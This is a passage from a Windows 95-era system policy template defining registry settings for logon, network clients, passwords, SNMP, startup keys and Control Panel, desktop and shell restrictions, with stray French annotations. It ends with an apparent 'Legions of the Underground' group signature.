                    KEYNAME System\CurrentControlSet\Services\VxD\MSSP
                    VALUENAME StaticVxD VALUE mssp.vxd
                    VALUENAME Start        VALUE NUMERIC 0
                    KEYNAME Security\Provider
                    VALUENAME Address_Book  VALUE msab32.dll
                END ACTIONLIST
            END ITEMLIST
            END PART
        END POLICY
    END CATEGORY  ; User-Level Security

    CATEGORY !!Logon

        POLICY !!LogonBanner
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Winlogon
            PART !!LogonBanner_Caption EDITTEXT
            VALUENAME "LegalNoticeCaption"
            MAXLEN 255
            DEFAULT !!LogonBanner_DefCaption
            END PART

            PART !!LogonBanner_Text EDITTEXT
            VALUENAME "LegalNoticeText"
             MAXLEN 255
            DEFAULT !!LogonBanner_DefText
            END PART
        END POLICY

        POLICY !!ValidatedLogon
        KEYNAME Network\Logon
        VALUENAME "MustBeValidated"
        END POLICY
    END CATEGORY



CATEGORY !!NWClient
    KEYNAME System\CurrentControlSet\Services\VxD\NWREDIR

        POLICY !!PrefServer
        KEYNAME System\CurrentControlSet\Services\NWNP32\NetworkProvider
            PART !!PrefServerName EDITTEXT REQUIRED
            VALUENAME "AuthenticatingAgent"
            MAXLEN 48
            END PART
        END POLICY

        POLICY !!SupportLFN
            PART !!SupportLFNsOn DROPDOWNLIST REQUIRED
            VALUENAME "SupportLFN"
            ITEMLIST
                NAME !!LFN_No311    VALUE NUMERIC 1
                NAME !!LFN_All    VALUE NUMERIC 2
            END ITEMLIST

            END PART
        END POLICY

        POLICY !!SearchMode
            PART !!SearchMode1 NUMERIC
            VALUENAME SearchMode
            MIN 0 MAX 7 DEFAULT 0
            END PART
        END POLICY

        POLICY !!DisableAutoNWLogin
            KEYNAME System\CurrentControlSet\Services\NWNP32\NetworkProvider
            VALUENAME DisableDefaultPasswords
        END POLICY

    END CATEGORY    ; Microsoft Netware-Compatible Network

    CATEGORY !!MSClient

        POLICY !!LogonDomain
        KEYNAME Network\Logon
        VALUENAME "LMLogon"
            PART !!DomainName    EDITTEXT REQUIRED
            MAXLEN 15
            KEYNAME System\CurrentControlSet\Services\MSNP32\NetworkProvider
            VALUENAME AuthenticatingAgent
            END PART

            PART !!DomainLogonConfirmation CHECKBOX
            KEYNAME Network\Logon
            VALUENAME DomainLogonMessage
            END PART

            PART !!NoDomainPwdCaching CHECKBOX
            KEYNAME Network\Logon
            VALUENAME NoDomainPwdCaching
            END PART
        END POLICY

        POLICY !!Workgroup
        KEYNAME System\CurrentControlSet\Services\VxD\VNETSUP
            PART !!WorkgroupName EDITTEXT REQUIRED
            VALUENAME "Workgroup"
            MAXLEN 15
            END PART
        END POLICY

        POLICY !!AlternateWorkgroup
        KEYNAME System\CurrentControlSet\Services\VxD\VREDIR
            PART !!WorkgroupName EDITTEXT REQUIRED
            VALUENAME "Workgroup"
            MAXLEN 15
            END PART
        END POLICY

    END CATEGORY    ; Microsoft Network

    CATEGORY !!NWServer

        POLICY !!DisableSAP
            KEYNAME System\CurrentControlSet\Services\NcpServer\Parameters
            VALUENAME Use_Sap
            VALUEON "0" VALUEOFF "1"
            ACTIONLISTON
                KEYNAME System\CurrentControlSet\Services\NcpServer\Parameters\Ndi\Params\Use_Sap
                VALUENAME "" VALUE "0"
            END ACTIONLISTON
            ACTIONLISTOFF
                KEYNAME System\CurrentControlSet\Services\NcpServer\Parameters\Ndi\Params\Use_Sap
                VALUENAME "" VALUE "1"
            END ACTIONLISTOFF
        END POLICY
    END CATEGORY




    CATEGORY !!Passwords

        POLICY !!HideSharePasswords
        VALUENAME "HideSharePwds"
        END POLICY

        POLICY !!DisablePasswordCaching
        VALUENAME "DisablePwdCaching"
        END POLICY

        POLICY !!RequireAlphaNum
        VALUENAME "AlphanumPwds"
        END POLICY

        POLICY !!MinimumPwdLen
            PART !!MPL_Length NUMERIC REQUIRED
            MIN 1 MAX 8 DEFAULT 3
            VALUENAME MinPwdLen
            END PART
        END POLICY
    END CATEGORY    ; Passwords

    CATEGORY !!RemoteAccess

        POLICY !!RemoteAccess_Disable
        VALUENAME "NoDialIn"
        END POLICY
    END CATEGORY    ; Remote Access

    CATEGORY !!Sharing

        POLICY !!DisableFileSharing
        VALUENAME "NoFileSharing"
        END POLICY

        POLICY !!DisablePrintSharing
        VALUENAME "NoPrintSharing"
        END POLICY
        END CATEGORY    ; Sharing

    CATEGORY !!SNMP

        POLICY !!Communities
        KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
            PART !!CommunitiesListbox LISTBOX
                VALUEPREFIX ""
            END PART
        END POLICY

        POLICY !!PermittedManagers
        KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers
            PART !!PermittedManagersListbox LISTBOX
                VALUEPREFIX ""
            END PART
        END POLICY

        POLICY !!Traps_Public
        KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\TrapConfiguration\Public
            PART !!Traps_PublicListbox LISTBOX
                VALUEPREFIX ""
            END PART
        END POLICY

        POLICY !!InternetMIB
        KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\RFC1156Agent
            PART !!ContactName EDITTEXT REQUIRED
            VALUENAME sysContact
            END PART

            PART !!Location EDITTEXT REQUIRED
            VALUENAME sysLocation
            END PART
        END POLICY

    END CATEGORY

    CATEGORY !!Update

        POLICY !!RemoteUpdate
        KEYNAME System\CurrentControlSet\Control\Update
        ACTIONLISTOFF
            VALUENAME "UpdateMode" VALUE NUMERIC 0
        END ACTIONLISTOFF

            PART !!UpdateMode DROPDOWNLIST REQUIRED
            VALUENAME "UpdateMode"
            ITEMLIST
                NAME !!UM_Automatic VALUE NUMERIC 1
                NAME !!UM_Manual    VALUE NUMERIC 2
            END ITEMLIST
            END PART

            PART !!UM_Manual_Path EDITTEXT
            VALUENAME "NetworkPath"
            END PART

            PART !!DisplayErrors CHECKBOX
            VALUENAME "Verbose"
            END PART

            PART !!LoadBalance CHECKBOX
            VALUENAME "LoadBalance"
            END PART
        END POLICY

    END CATEGORY    ; Update

END CATEGORY    ; Network

CATEGORY !!System
KEYNAME Software\Microsoft\Windows\CurrentVersion\Setup

    POLICY !!EnableUserProfiles
        KEYNAME Network\Logon
        VALUENAME UserProfiles                   les profils sont activΘs par la boεte de dialogue: "PropriΘtΘs pour Mots de passe "
    END POLICY

    POLICY !!NetworkSetupPath
        PART !!NetworkSetupPath_Path EDITTEXT REQUIRED
        VALUENAME "SourcePath"
        END PART
    END POLICY

    POLICY !!NetworkTourPath
        PART !!NetworkTourPath_Path EDITTEXT REQUIRED
        VALUENAME "TourPath"
        END PART
        PART !!NetworkTourPath_TIP TEXT END PART
    END POLICY

    POLICY !!Run
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Run
        PART !!RunListbox LISTBOX EXPLICITVALUE
        END PART
    END POLICY

    POLICY !!RunOnce
        KEYNAME Software\Microsoft\Windows\CurrentVersion\RunOnce
        PART !!RunOnceListbox LISTBOX EXPLICITVALUE
        END PART
    END POLICY

    POLICY !!RunServices
        KEYNAME Software\Microsoft\Windows\CurrentVersion\RunServices
        PART !!RunServicesListbox LISTBOX EXPLICITVALUE
        END PART
    END POLICY
END CATEGORY


CLASS USER

CATEGORY !!ControlPanel

    CATEGORY !!CPL_Display

        POLICY !!CPL_Display_Restrict
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
            PART !!CPL_Display_Disable CHECKBOX
            VALUENAME NoDispCPL
            END PART

            PART !!CPL_Display_HideBkgnd CHECKBOX
            VALUENAME NoDispBackgroundPage
            END PART

            PART !!CPL_Display_HideScrsav CHECKBOX
            VALUENAME NoDispScrSavPage
            END PART

            PART !!CPL_Display_HideAppearance CHECKBOX
            VALUENAME NoDispAppearancePage
            END PART

            PART !!CPL_Display_HideSettings CHECKBOX
            VALUENAME NoDispSettingsPage
            END PART
        END POLICY
    END CATEGORY    ; Display

    CATEGORY !!CPL_Network

        POLICY !!CPL_Network_Restrict
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
            PART !!CPL_Network_Disable CHECKBOX
            VALUENAME NoNetSetup
            END PART

            PART !!CPL_Network_HideID CHECKBOX
            VALUENAME NoNetSetupIDPage
            END PART

            PART !!CPL_Network_HideAccessCtrl CHECKBOX
            VALUENAME NoNetSetupSecurityPage
            END PART
        END POLICY
    END CATEGORY    ; Network

    CATEGORY !!CPL_Security

        POLICY !!CPL_Security_Restrict
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
            PART !!CPL_Security_Disable CHECKBOX
            VALUENAME NoSecCPL
            END PART

            PART !!CPL_Security_HideSetPwds CHECKBOX
            VALUENAME NoPwdPage
            END PART

            PART !!CPL_Security_HideRemoteAdmin CHECKBOX
            VALUENAME NoAdminPage
            END PART

            PART !!CPL_Security_HideProfiles CHECKBOX
            VALUENAME NoProfilePage
            END PART
        END POLICY
    END CATEGORY    ; Security

    CATEGORY !!CPL_Printers

        POLICY !!CPL_Printers_Restrict
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
            PART !!CPL_Printers_HidePages CHECKBOX
            VALUENAME NoPrinterTabs
            END PART

            PART !!CPL_Printers_DisableRemoval CHECKBOX
            VALUENAME NoDeletePrinter
            END PART

            PART !!CPL_Printers_DisableAdd CHECKBOX
            VALUENAME NoAddPrinter
            END PART
        END POLICY
    END CATEGORY    ; Printers

    CATEGORY !!CPL_System

        POLICY !!CPL_System_Restrict
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
            PART !!CPL_System_HideDevMgr CHECKBOX
            VALUENAME NoDevMgrPage
            END PART

            PART !!CPL_System_HideConfig CHECKBOX
            VALUENAME NoConfigPage
            END PART

            PART !!CPL_System_NoFileSys CHECKBOX
            VALUENAME NoFileSysPage
            END PART

            PART !!CPL_System_NoVirtMem CHECKBOX
            VALUENAME NoVirtMemPage
            END PART

        END POLICY
    END CATEGORY    ; System

END CATEGORY    ; Control Panel

CATEGORY !!Desktop
KEYNAME "Control Panel\Desktop"

    POLICY !!Wallpaper
        PART !!WallpaperName COMBOBOX REQUIRED
        SUGGESTIONS
            !!Wallpaper1 !!Wallpaper2 !!Wallpaper3 !!Wallpaper4 !!Wallpaper5
            !!Wallpaper6 !!Wallpaper7 !!Wallpaper8 !!Wallpaper9 !!Wallpaper10
        END SUGGESTIONS
        VALUENAME "Wallpaper"              (voir page 15)
        END PART

        PART !!TileWallpaper CHECKBOX DEFCHECKED
        VALUENAME "TileWallpaper"
        VALUEON "1" VALUEOFF "0"
        END PART
    END POLICY




    POLICY !!ColorScheme
        PART !!SchemeName DROPDOWNLIST
        KEYNAME "Control Panel\Appearance"
        VALUENAME Current REQUIRED
        ITEMLIST
            (liste de modΦles de couleur effacΘe car trop longue et sans grand intΘrΩt)
        END ITEMLIST
        END PART
    END POLICY
END CATEGORY    ; desktop

CATEGORY !!Network
KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network

    CATEGORY !!Sharing

        POLICY !!DisableFileSharingCtrl
        VALUENAME NoFileSharingControl
        END POLICY

        POLICY !!DisablePrintSharingCtrl
        VALUENAME NoPrintSharingControl
        END POLICY
    END CATEGORY  ; Sharing
END CATEGORY  ; Network

CATEGORY !!Shell
KEYNAME "Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"

    CATEGORY !!CustomFolders

        POLICY !!CustomFolders_Programs
            PART !!CustomFolders_ProgramsPath EDITTEXT REQUIRED
            VALUENAME "Programs"
            END PART
        END POLICY

        POLICY !!CustomFolders_Desktop
            PART !!CustomFolders_DesktopPath EDITTEXT REQUIRED
            VALUENAME "Desktop"
            END PART
        END POLICY

        POLICY !!HideStartMenuSubfolders
            KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
            VALUENAME NoStartMenuSubFolders
            PART !!HideStartMenuSubfolders_Tip1 TEXT  END PART
            PART !!HideStartMenuSubfolders_Tip2 TEXT  END PART
        END POLICY

        POLICY !!CustomFolders_Startup
            PART !!CustomFolders_StartupPath EDITTEXT REQUIRED
            VALUENAME "Startup"
            END PART
        END POLICY

        POLICY !!CustomFolders_NetHood
            PART !!CustomFolders_NetHoodPath EDITTEXT REQUIRED
            VALUENAME "NetHood"
            END PART
        END POLICY

        POLICY !!CustomFolders_StartMenu
            PART !!CustomFolders_StartMenuPath EDITTEXT REQUIRED
            VALUENAME "Start Menu"
            END PART
        END POLICY
    END CATEGORY

    CATEGORY !!Restrictions
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

            POLICY !!RemoveRun
            VALUENAME "NoRun"
            END POLICY

            POLICY !!RemoveFolders
            VALUENAME "NoSetFolders"
            END POLICY

            POLICY !!RemoveTaskbar
            VALUENAME "NoSetTaskbar"
            END POLICY

            POLICY !!RemoveFind
            VALUENAME "NoFind"
            END POLICY

            POLICY !!HideDrives
            VALUENAME "NoDrives"
            VALUEON NUMERIC 67108863    ; low 26 bits on (1 bit per drive)
            END POLICY

            POLICY !!HideNetHood
            VALUENAME "NoNetHood"
            END POLICY

            POLICY !!NoEntireNetwork
                KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
                VALUENAME "NoEntireNetwork"
            END POLICY

            POLICY !!NoWorkgroupContents
                KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
                VALUENAME "NoWorkgroupContents"
            END POLICY

            POLICY !!HideDesktop
            VALUENAME "NoDesktop"
            END POLICY

            POLICY !!DisableClose
            VALUENAME "NoClose"
            END POLICY

            POLICY !!NoSaveSettings
            VALUENAME "NoSaveSettings"
            END POLICY

    END CATEGORY
END CATEGORY    ; Shell

CATEGORY !!System
KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System

    CATEGORY !!Restrictions

          POLICY !!DisableRegedit
        VALUENAME DisableRegistryTools
        END POLICY

        POLICY !!RestrictApps
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
        VALUENAME RestrictRun
                      PART !!RestrictAppsList LISTBOX
           + liste            KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun
                VALUEPREFIX ""
            END PART
        END POLICY

        POLICY !!DisableMSDOS
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp
        VALUENAME Disabled
        END POLICY

        POLICY !!DisableSingleMSDOS
        KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp
        VALUENAME NoRealMode
        END POLICY

    END CATEGORY
END CATEGORY

---------------------------------------------------------------------------

                   \\\___///
                  \\  - -  //
          Live Well(  @ @  )Do Good
 +---------------oOOo-(_)-oOOo--------------------------------------+
 | NtWak0  . --:)MCSEx2, Telcom. Eng., Security Senior              |
 |"Kn0w13dg3 i5 0n1y p0w3r if U hav3 th3 wi5d0m t0 us3 i7 c0rr3c71y"|
 |"I7'5 nic3 70 b3 imp0r7an7. Bu7 i7'5 m0r3 imp0r7an7 70 b3 nic3"   |
 +------------------------Oooo--------------------------------------+

---------------------------------------------------------------------------
               L E G I O N S  O F  T H E  U N D E R G R O U N D
---------------------------------------------------------------------------
Send Submissions! [e-mail]  | [e-mail]
Send Comments!    [e-mail]  | [e-mail]
Send Money! Please send email,so we can direct you to our swissbank account

                     [This has been a LoU production]